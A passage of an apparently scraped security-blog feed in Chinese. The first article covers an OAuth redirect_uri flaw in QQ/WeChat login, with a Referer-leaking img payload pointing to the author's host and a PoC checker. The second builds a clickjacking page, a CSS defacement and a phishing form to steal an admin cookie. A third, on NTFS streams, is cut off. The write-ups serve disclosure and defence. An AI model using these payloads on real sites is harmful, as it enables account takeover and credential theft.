$_SERVER['HTTP_REFERER']);\n?&gt;\n<\/code><\/pre>\n\n<p>\u5c06\u6f0f\u6d1e\u5730\u5740\u4f5c\u4e3a\u53c2\u6570<strong>redirect_uri<\/strong>\u7684\u503c\uff0c\u7136\u540e\u8bf1\u5bfc\u7528\u6237A\u70b9\u51fb\u767b\u9646\uff0c\u8fd9\u65f6\u5019\u8df3\u8f6c\u7684\u94fe\u63a5\u5c31\u53d8\u6210\u4e86\uff1a<\/p>\n\n<blockquote>\n  <p>http:\/\/1.a.com\/?xss=%3Cimg%20src=\u201dhttp:\/\/www.evilchen.cn\/getref.php\u201d%3E&amp;code=120ED71CAECB11BAD538820E12B54664<\/p>\n<\/blockquote>\n\n<p>\u8df3\u8f6c\u4e4b\u540e\u8fd9\u4e2a\u94fe\u63a5\u4f1a\u505a\u4e3aHTTP Referer\u7684\u503c\u518d\u8bf7\u6c42[http:\/\/www.evilchen.cn\/getref.php]\uff0c\u90a3\u4e48\u6211\u7684\u670d\u52a1\u5668\u5c31\u4f1a\u63a5\u6536\u5230code\u7684\u503c\uff0c\u518d\u6839\u636eRequest 2\u7684\u503c\u586b\u5165\uff0c\u6211\u5c31\u53ef\u4ee5\u83b7\u53d6\u7528\u6237A\u5728a.com\u7684\u8d26\u53f7\u6743\u9650\u4e86<\/p>\n\n<h1 id=\"2\u6211\u80fd\u5728\u5176\u4ed6\u5730\u65b9\u5f15\u7528\u5916\u90e8\u8d44\u6e90\"><strong>2.\u6211\u80fd\u5728\u5176\u4ed6\u5730\u65b9\u5f15\u7528\u5916\u90e8\u8d44\u6e90<\/strong><\/h1>\n\n<p><img src=\"\/images\/2018-02-12\/0x04.jpg\" alt=\"img\" \/><\/p>\n\n<p>\u5f88\u591a\u5382\u5546\u90fd\u4f1a\u6709\u793e\u533a\u3001\u8bba\u575b\u7b49\u529f\u80fd\uff0c\u5927\u90e8\u5206\u4f1a\u4f7f\u7528Discuz\u7a0b\u5e8f\u6765\u505a\uff0c\u800cDiscuz\u786e\u5b9e\u53ef\u4ee5\u5f15\u7528\u5916\u90e8\u8d44\u6e90~<\/p>\n\n<p>\u8fd9\u91cc\u6211\u4f7f\u7528\u7684\u56fe\u7247\u5730\u5740\u8fd8\u662f http:\/\/www.evilchen.cn\/getref.php \u7136\u540e\u8fdb\u884c\u5e16\u5b50\u56de\u590d\u3002<\/p>\n\n<p>\u5e16\u5b50\u5730\u5740\u4e3a http:\/\/bbs.a.com\/thread-123-1-1.html \u5c06\u5e16\u5b50\u5730\u5740\u4f5c\u4e3a\u53c2\u6570<strong>redirect_uri<\/strong>\u7684\u503c\uff0c\u7136\u540e\u8bf1\u5bfc\u7528\u6237A\u70b9\u51fb\u767b\u9646\uff0c\u8fd9\u65f6\u5019\u8df3\u8f6c\u7684\u94fe\u63a5\u5c31\u53d8\u6210\u4e86\uff1a<\/p>\n\n<p>http:\/\/bbs.a.com\/thread-123-1-1.html?code=120ED71CAECB11BAD538820E12B54664<\/p>\n\n<p>\u8df3\u8f6c\u4e4b\u540e\u8fd9\u4e2a\u94fe\u63a5\u4f1a\u505a\u4e3aHTTP Referer\u7684\u503c\u518d\u8bf7\u6c42 http:\/\/www.evilchen.cn\/getref.php \u90a3\u4e48\u6211\u7684\u670d\u52a1\u5668\u5c31\u4f1a\u63a5\u6536\u5230code\u7684\u503c\uff0c\u518d\u6839\u636eRequest 2\u7684\u503c\u586b\u5165\uff0c\u6211\u5c31\u53ef\u4ee5\u83b7\u53d6\u7528\u6237A\u5728a.com\u7684\u8d26\u53f7\u6743\u9650\u4e86\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-02-12\/0x05.jpg\" alt=\"img\" \/><\/p>\n\n<h1 id=\"\u653b\u51fb\u6d41\u7a0b\"><strong>\u653b\u51fb\u6d41\u7a0b<\/strong><\/h1>\n\n<ol>\n  <li>\n    <p>\u6211\u70b9\u51fb<code>http:\/\/a.com<\/code>\u7684QQ\u767b\u5f55\uff0c\u83b7\u53d6QQ\u5feb\u6377\u767b\u5f55\u94fe\u63a5\uff0c\u66ff\u6362redirect_uri\u7684\u503c\u4e3a\u5982\u4e0a\u4e24\u4e2a\u95ee\u9898\u7684\u5730\u5740\u7136\u540e\u53d1\u9001\u7ed9\u53d7\u5bb3\u8005<\/p>\n  <\/li>\n  <li>\n    <p>\u53d7\u5bb3\u8005\u70b9\u51fbQQ\u5934\u50cf\u767b\u5f55\uff0c\u4f1a\u8df3\u8f6c\u5230redirect_uri\u7684\u503c(\u94fe\u63a5)\uff0c\u5e76\u4e14\u643a\u5e26\u4e0acode\u7684\u503c<\/p>\n  <\/li>\n  <li>\n    <p>\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u4ee5\u8df3\u8f6c\u540e\u7684\u94fe\u63a5\u4f5c\u4e3areferer\u5934\u8bf7\u6c42\u5916\u94fe\u56fe\u7247(php)<\/p>\n  <\/li>\n  <li>\n    <p>\u653b\u51fb\u8005\u83b7\u53d6referer\u7684\u503c\uff0c\u6784\u5efaB\u5730\u5740\uff0c\u5e76\u4e14\u8fdb\u5165\u94fe\u63a5(\u6ce8\u610f \u653b\u51fb\u8005\u8981\u5728\u672a\u767b\u5f55\u60c5\u51b5\u4e0b)<\/p>\n  <\/li>\n<\/ol>\n\n<h1 id=\"\u5fae\u4fe1\u5feb\u6377\u767b\u9646\u6d41\u7a0b\"><strong>\u5fae\u4fe1\u5feb\u6377\u767b\u9646\u6d41\u7a0b<\/strong><\/h1>\n\n<p>\u5f00\u53d1\u5e73\u53f0\uff1ahttps:\/\/open.weixin.qq.com\/<\/p>\n\n<p>http:\/\/a.com\u7684\u5730\u5740\u5982\u4e0b\uff1a<\/p>\n\n<p>https:\/\/open.weixin.qq.com\/connect\/qrconnect?appid=&amp;redirect_uri=http:\/\/a.com\/wx?callback=null<\/p>\n\n<p>\u5fae\u4fe1\u626b\u63cf\u540e\u4f1a\u8df3\u8f6c\u5230\uff1a<\/p>\n\n<p>http:\/\/a.com\/weixin?callback=null&amp;code=021n2XAB00C4mg2FvKyB0W7QAB0n2XAF<\/p>\n\n<p>\u800c\u53ea\u8981\u5229\u7528QQ\u5feb\u6377\u767b\u9646\u7684\u65b9\u6cd5\u6211\u4eec\u4e00\u6837\u53ef\u4ee5\u83b7\u53d6\u5230code\u7684\u503c<\/p>\n\n<h1 id=\"\u653b\u51fb\u6d41\u7a0b-1\"><strong>\u653b\u51fb\u6d41\u7a0b<\/strong><\/h1>\n\n<ol>\n  <li>\n    <p>\u6211\u70b9\u51fb<code>http:\/\/a.com<\/code>\u7684\u5fae\u4fe1\u767b\u5f55\uff0c\u83b7\u53d6\u5fae\u4fe1\u5feb\u6377\u767b\u5f55\u94fe\u63a5\uff0c\u66ff\u6362redirect_uri\u7684\u503c\u4e3a\u5982\u4e0a\u4e24\u4e2a\u95ee\u9898\u7684\u5730\u5740\u7136\u540e\u53d1\u9001\u7ed9\u53d7\u5bb3\u8005<\/p>\n  <\/li>\n  <li>\n    <p>\u53d7\u5bb3\u8005\u70b9\u5f00\u5fae\u4fe1\u626b\u63cf\uff0c\u4f1a\u8df3\u8f6c\u5230redirect_uri\u7684\u503c(\u94fe\u63a5)\uff0c\u5e76\u4e14\u643a\u5e26\u4e0acode\u7684\u503c<\/p>\n  <\/li>\n  <li>\n    <p>\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u4ee5\u8df3\u8f6c\u540e\u7684\u94fe\u63a5\u4f5c\u4e3areferer\u5934\u8bf7\u6c42\u5916\u94fe\u56fe\u7247(php)<\/p>\n  <\/li>\n  <li>\n    <p>\u653b\u51fb\u8005\u83b7\u53d6referer\u7684\u503c\uff0c\u6784\u5efaB\u5730\u5740\uff0c\u5e76\u4e14\u8fdb\u5165\u94fe\u63a5(\u6ce8\u610f \u653b\u51fb\u8005\u8981\u5728\u672a\u767b\u5f55\u60c5\u51b5\u4e0b)<\/p>\n  <\/li>\n<\/ol>\n\n<h1 id=\"\u98ce\u9669\u68c0\u6d4b\"><strong>\u98ce\u9669\u68c0\u6d4b<\/strong><\/h1>\n\n<p>\u6211\u7b80\u5355\u7684\u5199\u4e86\u4e2apoc\uff0c\u4ec5\u4ec5\u505a\u98ce\u9669\u68c0\u6d4b\uff0c\u5177\u4f53\u5371\u5bb3\u53ef\u4ee5\u81ea\u884c\u68c0\u67e5~~\uff08<strong>PS\uff1a\u652f\u6301\u5fae\u4fe1\u8ddfQQ\u7684\u5feb\u6377\u767b\u9646\u98ce\u9669\u68c0\u6d4b<\/strong>\uff09<\/p>\n\n<pre><code class=\"language-python\"># -*- coding:utf-8 -*-\n# Name: QQ and WeChat OAuth2.0 PoC\n# Auther: EvilChen\n\nimport requests,urlparse,urllib\n\ndef scan(url):\n\turl = urllib.unquote(url)\n\ttempUrl = getValue(url)\n\ttempDomain = urlparse.urlparse(tempUrl).netloc\n\tdomainA = tempDomain.split('.')\n\tdomainB = tempDomain.replace(domainA[0],\"mstlab\")\n\turl = url.replace(tempUrl,\"http:\/\/\" + domainB)\n\tr = requests.get(url)\n\t# print url\n\tif (\"redirect uri is illegal\" in r.text) or (\"&gt;redirect_uri\" in r.text):\n\t    print \"[*] This Website is safe.\"\n\telse:\n            print \"[*] This Website is vulnerable!\"\n\ndef getValue(url):\n    query = urlparse.urlparse(url).query\n    resUrl = dict([(k,v[0]) for k,v in urlparse.parse_qs(query).items()])['redirect_uri']\n    return resUrl\n\nif __name__ == '__main__':\n\turl = raw_input(\"URL: \")\n\tscan(url)\n<\/code><\/pre>\n\n<p>poc\u7684\u4f7f\u7528\u65b9\u6cd5\u5f88\u7b80\u5355\uff0c\u53ea\u9700\u8981\u590d\u5236QQ\u548c\u5fae\u4fe1\u5feb\u6377\u767b\u9646\u7684\u94fe\u63a5\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-02-12\/0x06.jpg\" alt=\"img\" \/><\/p>\n\n<p>\u7ecf\u8fc7\u6211\u4eec\u5b9e\u9a8c\u5ba4\u7684\u6392\u67e5\u53d1\u73b0\u5b58\u5728\u98ce\u9669\u7684\u5382\u5546\u5982\u4e0b\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-02-12\/0x07.jpg\" alt=\"img\" \/><\/p>\n\n<p>\u7b49\u56fd\u5185\u77e5\u540d\u5382\u5546\u8fd1\u767e\u5bb6\u90fd\u5b58\u5728\u6b64\u5371\u5bb3\u3002<\/p>\n\n<h1 id=\"\u4fee\u590d\u5efa\u8bae\"><strong>\u4fee\u590d\u5efa\u8bae<\/strong><\/h1>\n\n<p>redirect_uri\u7684\u503c\u505a\u9650\u5236<\/p>\n\n<h1 id=\"\u7ed3\u5c3e\"><strong>\u7ed3\u5c3e<\/strong><\/h1>\n\n<p>\u6587\u7ae0\u53c2\u8003\uff1a<\/p>\n\n<p>http:\/\/wooyun.jozxing.cc\/search?keywords=OAuth&amp;content_search_by=by_bugs<\/p>\n\n<p>http:\/\/www.cnvd.org.cn\/flaw\/show\/CNVD-2014-02785<\/p>\n\n<p>http:\/\/www.cnvd.org.cn\/flaw\/show\/CNVD-2018-01622<\/p>\n","pubDate":"2018-02-12T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-02-12\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-02-12\/1"},{"title":"\u9e21\u808b\u70b9\u642d\u914dClickJacking\u653b\u51fb-\u83b7\u53d6\u7ba1\u7406\u5458\u6743\u9650","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u6709\u4e00\u6bb5\u65f6\u95f4\u6ca1\u505a\u6d4b\u8bd5\u4e86\uff0c\u5076\u5c14\u7684\u65f6\u5019\u4e5f\u4f1a\u53bb\u6316\u6316\u6d1e\u3002\u672c\u6587\u7ae0\u8981\u5199\u7684\u4e1c\u897f\u662f\u6211\u5229\u7528<code>ClickJacking<\/code>\u62ff\u4e0b\u7ba1\u7406\u5458\u6743\u9650\u7684\u6d4b\u8bd5\u8fc7\u7a0b\u3002\u4f46\u5728\u8bf4\u660e\u8fc7\u7a0b\u4e4b\u524d\uff0c\u5148\u5e26\u5927\u5bb6\u4e86\u89e3\u4e00\u4e0b<code>ClickJacking<\/code>\u7684<strong>\u57fa\u672c\u539f\u7406\u4ee5\u53ca\u7b80\u5355\u7684\u6f0f\u6d1e\u6316\u6398<\/strong>\u3002<\/p>\n\n<h1 id=\"clickjacking\">ClickJacking<\/h1>\n\n<p>ClickJacking\u80cc\u666f\u8bf4\u660e:<\/p>\n\n<blockquote>\n  <p>ClickJacking\uff08\u70b9\u51fb\u52ab\u6301\uff09\u662f\u7531\u4e92\u8054\u7f51\u5b89\u5168\u4e13\u5bb6\u7f57\u4f2f\u7279\u00b7\u6c49\u68ee\u548c\u8036\u5229\u7c73\u00b7\u683c\u52b3\u65af\u66fc\u57282008\u5e74\u9996\u521b\u7684\u3002\nClickJacking\u662f\u4e00\u79cd\u89c6\u89c9\u6b3a\u9a97\u653b\u51fb\u624b\u6bb5\uff0c\u5728web\u7aef\u5c31\u662fiframe\u5d4c\u5957\u4e00\u4e2a\u900f\u660e\u4e0d\u53ef\u89c1\u7684\u9875\u9762\uff0c\u8ba9\u7528\u6237\u5728\u4e0d\u77e5\u60c5(\u88ab\u6b3a\u9a97)\u7684\u60c5\u51b5\u4e0b\uff0c\u70b9\u51fb\u653b\u51fb\u8005\u60f3\u8981\u6b3a\u9a97\u7528\u6237\u70b9\u51fb\u7684\u4f4d\u7f6e\u3002<\/p>\n<\/blockquote>\n\n<p>\u8bf4\u9053\u89c6\u89c9\u6b3a\u9a97\uff0c\u76f8\u4fe1\u6709<code>\u70ab\u6280<\/code>\u7ecf\u9a8c\u7684\u670b\u53cb\u4eec\u4e00\u5b9a\u4f1a\u60f3\u5230\uff0c\u81ea\u5df1\u4e00\u4e2a\u540e\u53f0\u62ff\u4e0d\u4e0bWebshell\u6743\u9650\u7684\u65f6\u5019\uff0c\u800c\u60f3\u8981\u9ed1\u6389\u9996\u9875\u4ece\u800c\u8fbe\u5230\u70ab\u6280\uff0c\u4f7f\u7528\u7684\u662f\u4ec0\u4e48\u5462\uff1f\u6ca1\u9519\u4e00\u822c\u4f7f\u7528CSS\u6837\u5f0f\u8868\u6765\u52ab\u6301\u9996\u9875\u4ee5\u9020\u6210\u9ed1\u6389\u7684\u5047\u8c61~<\/p>\n\n<pre><code class=\"language-html\">&lt;table style=\"left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;\"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=\"color:#FFFFFF;z-index: 6000;vertical-align:top;\"&gt;&lt;h1&gt;hacked by key&lt;\/h1&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;\/tbody&gt;&lt;\/table&gt;\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2017-12-20\/0x00.png\" alt=\"CSS jacking\" \/><\/p>\n\n<p>\u9664\u4e86\u53ef\u4ee5\u70ab\u6280\uff0cCSS\u52ab\u6301\u53ef\u4ee5\u505a\u7684\u4e1c\u897f\u4e5f\u6709\u5f88\u591a\uff1a\u4f8b\u5982\u7ecf\u5178\u7684form\u8868\u5355\u9493\u9c7c\u653b\u51fb<\/p>\n\n<pre><code class=\"language-html\">&lt;table+style=\"left:+0px;+top:+0px;+position:+fixed;z-index:+5000;position:absolute;width:100%;background-color:white;\"&gt;&lt;tr&gt;&lt;td&gt;&lt;form action=\"http:\/\/192.168.0.109\/login.php\" method=\"post\"&gt;\u8d26\u53f7\uff1a&lt;input type=\"text\" name=\"name\"&gt;&lt;br&gt;\u5bc6\u7801\uff1a&lt;input type=\"password\" name=\"pwd\"&gt;&lt;br&gt;&lt;input type=\"submit\" value=\"\u767b\u9646\"&gt;&lt;\/form&gt;&lt;td&gt;&lt;\/tr&gt;&lt;\/table&gt;\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2017-12-20\/0x01.png\" alt=\"CSS jacking\" \/><\/p>\n\n<p>\u8fd9\u91cc\u5c31\u4e0d\u5bf9\u4ee3\u7801\u7684\u610f\u601d\u8fdb\u884c\u89e3\u8bfb\u4e86\uff0c\u53ef\u4ee5\u770b\u5230CSS\u52ab\u6301\u8fbe\u5230\u7684\u89c6\u89c9\u6b3a\u9a97\u653b\u51fb\u6548\u679c\u8fd8\u662f\u6bd4\u8f83LOW\u7684\uff0c\u56e0\u4e3a\u8fd9\u6837\u7684\u653b\u51fb\u624b\u6bb5\u504f\u88ab\u52a8\u5f0f\u3002\u800c\u6211\u8981\u8bf4\u7684\u70b9\u51fb\u52ab\u6301\u5176\u5b9e\u4e5f\u7b97\u662f\u88ab\u52a8\u5f0f\uff0c\u4e0d\u8fc7\u76f8\u5bf9\u6765\u8bf4\u6bd4\u8f83\u5bb9\u6613\u83b7\u5f97\u4fe1\u4efb\u8ba9\u88ab\u52a8\u5f0f\u89e6\u53d1\uff0c\u8fd9\u91cc\u53ea\u662f\u5355\u5355\u5bf9\u653b\u51fb\u624b\u6cd5\u8c01\u7684\u6210\u529f\u7387\u6bd4\u8f83\u9ad8\u4f5c\u4e3a\u6bd4\u8f83<\/p>\n\n<p>\u524d\u9762\u80cc\u666f\u4ecb\u7ecd\u7684\u65f6\u5019\u8bf4\u4e86\uff0c\u70b9\u51fb\u52ab\u6301\u653b\u51fb\u5176\u5b9e\u5c31\u662f\u9576\u5d4c\u4e00\u4e2aiframe\u6846\u67b6(<strong>\u5b58\u5728\u70b9\u51fb\u52ab\u6301\u6f0f\u6d1e\u7684\u9875\u9762<\/strong>)\u5728\u9875\u9762\u4e0a\uff0c\u7136\u540e\u518d\u628a\u5176\u4fee\u6539\u4e3a\u900f\u660e\u7684\u6837\u5f0f\u3002\u8fd9\u6837\u7684\u64cd\u4f5c\u53ea\u662f\u9020\u6210\u4e86\u89c6\u89c9\u6b3a\u9a97\uff0c\u8fd8\u6ca1\u8fbe\u5230\u6b3a\u9a97\u70b9\u51fb\u7684\u6548\u679c\uff0c\u6240\u4ee5\u5c31\u9700\u8981\u77e5\u9053iframe\u6846\u67b6\u5176\u6309\u94ae\u7684\u4f4d\u7f6e\uff0c\u7136\u540e\u5728\u57fa\u4e8e\u900f\u660e\u5c42\u6a21\u62df\u4e00\u4e2a\u4f4d\u7f6e\u5927\u5c0f\u76f8\u540c\u7684\u6309\u94ae\uff0c\u53d1\u7ed9\u7528\u6237\u8ba9\u5176\u70b9\u51fb~~<\/p>\n\n<p>\u8fd9\u91cc\u4ee5QQ\u5b89\u5168\u4e2d\u5fc3\u7684\u4e00\u4e2a\u70b9\u51fb\u52ab\u6301\u4e3a\u4f8b\uff0c\u4f5c\u4e3a\u4e00\u4e2aQQ\u7684\u8d44\u6df1\u7528\u6237\u5e94\u8be5\u77e5\u9053QQ\u662f\u6709\u5b89\u5168\u4e2d\u5fc3\u7d27\u6025\u51bb\u7ed3QQ\u670d\u52a1\u7684\uff0c\u53ea\u8981\u767b\u5f55\u81ea\u5df1\u7684\u5b89\u5168\u4e2d\u5fc3\u5c31\u53ef\u4ee5\u51bb\u7ed3\uff0c<strong>\u5730\u5740(\u6f0f\u6d1e\u5730\u5740\uff0c\u76ee\u524d\u6f0f\u6d1e\u5df2\u7ecf\u4fee\u590d)<\/strong>\u4e3a\uff1a<a href=\"https:\/\/aq.qq.com\/cn2\/message_center\/wireless\/wireless_seal_auth?source_id=2985\">https:\/\/aq.qq.com\/cn2\/message_center\/wireless\/wireless_seal_auth?source_id=2985<\/a><\/p>\n\n<p><img src=\"\/images\/2017-12-20\/0x02.png\" alt=\"QQ Click Jacking\" \/><\/p>\n\n<p>\u4e00\u70b9\u51fb\uff0c\u4f60\u7684QQ\u5c31\u88ab\u4f1a\u51bb\u7ed3(\u5f53\u65f6\u4e0d\u77e5\u9053\u9017\u4e86\u591a\u5c11\u4eba~)\uff0c\u90a3\u8fd9\u6837\u600e\u4e48\u5229\u7528\u5462\uff1f<\/p>\n\n<p>1.\u5efa\u7acbiframe\u6846\u67b6:<\/p>\n\n<pre><code class=\"language-html\">&lt;iframe id=\"frame\" src=\"https:\/\/aq.qq.com\/cn2\/message_center\/wireless\/wireless_seal_auth?source_id=2985\"&gt;&lt;\/iframe&gt;\n<\/code><\/pre>\n\n<p>2.\u5efa\u7acbiframe\u7684CSS\u6837\u5f0f:<\/p>\n\n<pre><code class=\"language-css\">#frame {\n    border: 0px; \/*\u8fb9\u6846\u5c5e\u6027\u4e3a0*\/\n    height: 100%; \/*\u6846\u67b6\u9ad8\u5ea6100%*\/\n    width: 100%; \/*\u6846\u67b6\u5bbd\u5ea6100%*\/\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n    filter: alpha(Opacity=0); \/*\u63d0\u4f9b\u7ed9IE\u6d4f\u89c8\u56688\u4e4b\u524d\u7684*\/\n    -moz-opacity: 0; \/*\u63d0\u4f9b\u7ed9\u706b\u72d0\u6d4f\u89c8\u5668\u7684*\/\n    -webkit-opacity: 0; \/*\u63d0\u4f9b\u7ed9webkit\u5185\u6838\u7684*\/\n    -khtml-opacity: 0; \/*\u63d0\u4f9b\u7ed9KHTML\u5185\u6838\u7684*\/\n    -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)\"; \/*\u63d0\u4f9b\u7ed9IE8\u4e4b\u540e\u7684*\/\n    opacity: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n}\n<\/code><\/pre>\n\n<p>3.\u83b7\u53d6iframe\u6846\u67b6\u5f15\u7528\u7684\u539f\u9875\u9762\u7684\u6309\u94ae\u4f4d\u7f6e\u548c\u5927\u5c0f:<\/p>\n\n<p>\u5927\u5c0f\u76f4\u63a5\u901a\u8fc7\u5ba1\u67e5\u5143\u7d20\u53ef\u4ee5\u770b\u5f97\u5230:<\/p>\n\n<p><img src=\"\/images\/2017-12-20\/0x03.png\" alt=\"QQ Click Jacking\" \/><\/p>\n\n<p>\u73b0\u5728\u8981\u83b7\u53d6\u7684\u5c31\u662f\u6309\u94ae\u5143\u7d20\u5230\u6d4f\u89c8\u5668\u9876\u90e8\u7684\u8ddd\u79bb\uff0c\u8fd9\u91cc\u901a\u8fc7<code>id.offsetTop<\/code>\u6709\u4e9b\u65f6\u5019\u662f\u65e0\u6cd5\u76f4\u63a5\u83b7\u53d6\u7684:<\/p>\n\n<blockquote>\n  <p>&gt;&gt;span_verify.offsetTop\n\u219016<\/p>\n<\/blockquote>\n\n<p>\u83b7\u53d6\u5230\u7684\u662f16~\u5f88\u9189\uff0c\u6240\u4ee5\u4f7f\u7528\u5982\u4e0b\u7684\u65b9\u6cd5\u76f4\u63a5\u83b7\u53d6:<\/p>\n\n<pre><code class=\"language-javascript\">document.getElementById('span_verify').getBoundingClientRect().top\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2017-12-20\/0x04.png\" alt=\"QQ Click Jacking\" \/>\n4.\u5efa\u7acb\u6309\u94ae:<\/p>\n\n<pre><code class=\"language-html\">&lt;input type=\"button\" class=\"button\" value=\"Click\" \/&gt;\n<\/code><\/pre>\n\n<p>5.\u6839\u636e\u7b2c\u4e09\u6b65\u9aa4\u83b7\u53d6\u5230\u7684\u5efa\u7acb\u6309\u94ae\u6837\u5f0f:<\/p>\n\n<pre><code class=\"language-css\">.button {\n    position: fixed;\n    width: 100%;\n    height: 42px;\n    margin: 0 auto;\n    left: 0;\n    right: 0;\n    display: block;\n    top: 278px;\n} \n<\/code><\/pre>\n\n<p>6.\u6563\u64ad\uff0c\u7528\u6237\u4e2d\u62db:\n<img src=\"\/images\/2017-12-20\/0x05.png\" alt=\"QQ Click Jacking\" \/>\n<img src=\"\/images\/2017-12-20\/0x06.png\" alt=\"QQ Click Jacking\" \/><\/p>\n\n<h2 id=\"\u4e00\u6b21\u70b9\u51fb\u52ab\u6301\u653b\u51fb\u6848\u4f8b\">\u4e00\u6b21\u70b9\u51fb\u52ab\u6301\u653b\u51fb\u6848\u4f8b<\/h2>\n\n<p>\u8bf4\u4e86\u8fd9\u4e48\u591a\uff0c\u5728\u524d\u51e0\u5929\u7684\u6d4b\u8bd5\u4e2d\u6211\u662f\u5982\u4f55\u62ff\u5230\u7ba1\u7406\u5458\u6743\u9650\u5462\uff1f\u6316\u6398\u5230\u4e00\u5904self-xss\uff0c\u8fd9\u91cc\u5148\u8bf4\u660e\u4e0bself-xss\u53ef\u4ee5\u7406\u89e3\u4e3a\u53ea\u80fd\u653b\u51fbmyself~<\/p>\n\n<p>\u53d1\u73b0\u6d41\u7a0b:<\/p>\n\n<p><strong>\u53d1\u73b0\u8f93\u5165\u6846-&gt;\u79c9\u7740\u89c1\u6846\u5c31X\u7684\u539f\u7406\u63d2\u5165XSS Payload-&gt;\u5f39\u6846-&gt;\u53d1\u73b0\u6210\u529f<\/strong><\/p>\n\n<p>\u7136\u800c\u83b7\u53d6\u5230\u7684URL\u94fe\u63a5\u662f<code>\/?keyword=&lt;script&gt;alert(1)&lt;\/script&gt;<\/code>\uff0c\u4f46\u662f\u4e0d\u662fxss\uff0ckeyword\u7684\u503c\u663e\u793a\u5728\u8f93\u5165\u6846\u5185\uff0c\u9700\u8981\u4f60\u518d\u70b9\u51fb<code>\u641c\u7d22\u6807\u9898\u6309\u94ae<\/code>\u624d\u53ef\u4ee5\u89e6\u53d1\u6f0f\u6d1e\u3002<\/p>\n\n<p><strong>\u5f62\u6210\u7684\u653b\u51fb\u601d\u8def-&gt;iframe\u5d4c\u5957\u6f0f\u6d1eURL\u94fe\u63a5-&gt;Click Jacking\u653b\u51fb\u9875\u9762\u6784\u9020-&gt;\u901a\u8fc7\u7559\u8a00\u7ed9\u7ba1\u7406\u5458\u5f15\u8bf1\u89e6\u53d1<\/strong><\/p>\n\n<p><img src=\"\/images\/2017-12-20\/0x07.png\" alt=\"Click Jacking\" \/><\/p>\n\n<p>\u653b\u51fb\u9875\u9762\u6784\u9020\u6d41\u7a0b\u5176\u5b9e\u8010\u5fc3\u8bfb\u5230\u8fd9\u91cc\u7684\u670b\u53cb\u5df2\u7ecf\u662f\u975e\u5e38\u660e\u786e\u6b65\u9aa4\u4e86:<\/p>\n\n<p><strong>\u5efa\u7acbiframe\u6846\u67b6-&gt;\u5efa\u7acbiframe\u6846\u67b6CSS\u6837\u5f0f-&gt;\u83b7\u53d6\u6309\u94ae\u4f4d\u7f6e\u5927\u5c0f-&gt;\u5efa\u7acb\u6309\u94ae-&gt;\u5efa\u7acb\u6309\u94aeCSS\u6837\u5f0f-&gt;\u7559\u8a00\u677f\u7559\u8a00\u5916\u7f51\u653b\u51fb\u94fe\u63a5-&gt;\u83b7\u53d6\u7ba1\u7406\u5458Cookie-&gt;Cookie\u4f2a\u9020\u8fdb\u5165\u540e\u53f0<\/strong><\/p>\n\n<h1 id=\"\u7ed3\u5c3e\">\u7ed3\u5c3e<\/h1>\n\n<p>\u4e00\u6b21\u5f88\u6709\u610f\u601d\u7684\u5b9e\u8df5\uff0c\u8ba9\u81ea\u5df1\u6ee1\u6ee1\u7684\u6210\u5c31\u611f\uff0c\u540c\u65f6\u4e5f\u5b8c\u6210\u4e86\u9879\u76ee\u4efb\u52a1~<\/p>\n","pubDate":"2017-12-20T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2017-12-20\/1","guid":"https:\/\/gh0st.cn\/archives\/2017-12-20\/1"},{"title":"\u6587\u4ef6\u5bc4\u751f\u2014\u2014NTFS\u6587\u4ef6\u6d41\u5b9e\u9645\u5e94\u7528","description":"<h1 id=\"what-is-ntfs\u6587\u4ef6\u6d41\">What is NTFS\u6587\u4ef6\u6d41<\/h1>\n\n<p>NTFS\u6587\u4ef6\u7cfb\u7edf\u5b9e\u73b0\u4e86\u591a\u6587\u4ef6\u6d41\u7279\u6027\uff0cNTFS\u73af\u5883\u4e00\u4e2a\u6587\u4ef6\u9ed8\u8ba4\u4f7f\u7528\u7684\u662f<strong>\u672a\u547d\u540d\u7684\u6587\u4ef6\u6d41<\/strong>\uff0c\u540c\u65f6\u53ef\u521b\u5efa\u5176\u4ed6\u547d\u540d\u7684\u6587\u4ef6\u6d41\uff0cwindows\u8d44\u6e90\u7ba1\u7406\u5668\u9ed8\u8ba4\u4e0d\u663e\u793a\u51fa\u6587\u4ef6\u7684\u547d\u540d\u6587\u4ef6\u6d41\uff0c\u8fd9\u4e9b\u547d\u540d\u7684\u6587\u4ef6\u6d41\u5728\u529f\u80fd\u4e0a\u548c\u9ed8\u8ba4\u4f7f\u7528\u7684\u672a\u547d\u540d\u6587\u4ef6\u6d41\u4e00\u81f4\uff0c\u751a\u81f3\u53ef\u4ee5\u7528\u6765\u542f\u52a8\u7a0b\u5e8f\u3002<\/p>\n\n<h2 id=\"ntfs\u6587\u4ef6\u6d41\u751f\u6210\u6b65\u9aa4\">NTFS\u6587\u4ef6\u6d41\u751f\u6210\u6b65\u9aa4<\/h2>\n\n<p>\u6211\u4eec\u5728\u4efb\u610f\u4e00\u4e2aNTFS\u5206\u533a\u4e0b\u6253\u5f00CMD\u547d\u4ee4\u63d0\u793a\u7b26\uff0c\u8f93\u5165<code>echo 